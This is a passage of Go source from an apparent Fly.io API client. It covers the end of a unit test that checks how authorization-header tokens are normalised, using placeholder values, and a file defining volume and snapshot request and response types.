| "testing" 5 | ) 6 | 7 | func TestAuthorizationHeader(t *testing.T) { 8 | check := func(macaroonAndUserTokens bool, input, expectedOutput string) { 9 | t.Helper() 10 | if tok := Parse(input).normalized(macaroonAndUserTokens, false); tok != expectedOutput { 11 | t.Fatalf("expected token to be '%s', got '%s'", expectedOutput, tok) 12 | } 13 | } 14 | 15 | // scheme stripping 16 | check(true, "foobar", "foobar") 17 | check(true, "Bearer foobar", "foobar") 18 | check(true, "FlyV1 foobar", "foobar") 19 | check(true, "Bearer FlyV1 foobar", "foobar") 20 | check(true, "FlyV1 Bearer foobar", "foobar") 21 | check(true, "BEARER FLYV1 foobar", "foobar") 22 | 23 | // api access token 24 | check(true, "fm2_foobar,foobar", "fm2_foobar,foobar") 25 | check(true, "foobar,fm2_foobar", "fm2_foobar,foobar") 26 | check(true, "foobar", "foobar") 27 | check(true, "fm2_foobar", "fm2_foobar") 28 | 29 | // non-api access token 30 | check(false, "fm2_foobar,foobar", "fm2_foobar") 31 | check(false, "foobar,fm2_foobar", "fm2_foobar") 32 | check(false, "foobar", "foobar") 33 | check(false, "fm2_foobar", "fm2_foobar") 34 | } 35 | -------------------------------------------------------------------------------- /volume_types.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import ( 4 | "strconv" 5 | "time" 6 | ) 7 | 8 | type Volume struct { 9 | ID string `json:"id"` 10 | Name string `json:"name"` 11 | State string `json:"state"` 12 | SizeGb int `json:"size_gb"` 13 | Region string `json:"region"` 14 | Zone string `json:"zone"` 15 | Encrypted bool `json:"encrypted"` 16 | AttachedMachine *string `json:"attached_machine_id"` 17 | AttachedAllocation *string `json:"attached_alloc_id"` 18 | CreatedAt time.Time `json:"created_at"` 19 | HostDedicationID string `json:"host_dedication_id"` 20 | SnapshotRetention int `json:"snapshot_retention"` 21 | AutoBackupEnabled bool `json:"auto_backup_enabled"` 22 | HostStatus string `json:"host_status,omitempty"` 23 | } 24 | 25 | func (v Volume) IsAttached() bool { 26 | return v.AttachedMachine != nil || v.AttachedAllocation != nil 27 | } 28 | 29 | type CreateVolumeRequest struct { 30 | Name string `json:"name"` 31 | Region string `json:"region"` 32 | SizeGb *int `json:"size_gb"` 33 | Encrypted *bool `json:"encrypted"` 34 | RequireUniqueZone *bool `json:"require_unique_zone"` 35 | UniqueZoneAppWide *bool `json:"unique_zone_app_wide"` 36 | SnapshotRetention *int `json:"snapshot_retention"` 37 | AutoBackupEnabled *bool `json:"auto_backup_enabled"` 38 | 39 | // FSType sets the filesystem of this volume. The valid values are "ext4" and "raw". 40 | // Not setting the value results "ext4". 41 | FSType *string `json:"fstype"` 42 | 43 | // restore from snapshot 44 | SnapshotID *string `json:"snapshot_id"` 45 | // fork from remote volume 46 | SourceVolumeID *string `json:"source_volume_id"` 47 | 48 | // If the volume is going to be attached to a new machine, make the placement logic aware of it 49 | ComputeRequirements *MachineGuest `json:"compute"` 50 | ComputeImage string `json:"compute_image,omitempty"` 51 | } 52 | 53 | type UpdateVolumeRequest struct { 54 | SnapshotRetention *int `json:"snapshot_retention"` 55 | AutoBackupEnabled *bool `json:"auto_backup_enabled"` 56 | } 57 | 58 | type VolumeSnapshot struct { 59 | ID string `json:"id"` 60 | Size int `json:"size"` 61 | Digest string `json:"digest"` 62 | CreatedAt time.Time `json:"created_at"` 63 | Status string `json:"status"` 64 | RetentionDays *int `json:"retention_days"` 65 | } 66 | 67 | type VolumeSnapshotGql struct { 68 | ID string `json:"id"` 69 | Size string `json:"size"` 70 | Digest string `json:"digest"` 71 | CreatedAt time.Time `json:"createdAt"` 72 | Status string `json:"status"` 73 | RetentionDays *int `json:"retentionDays"` 74 | } 75 | 76 | func NewVolumeSnapshotFrom(v VolumeSnapshotGql) VolumeSnapshot { 77 | size, _ := strconv.Atoi(v.Size) 78 | return VolumeSnapshot{ 79 | ID: v.ID, 80 | Size: size, 81 | Digest: v.Digest, 82 | CreatedAt: v.CreatedAt, 83 | Status: v.Status, 84 | } 85 | } 86 | --------------------------------------------------------------------------------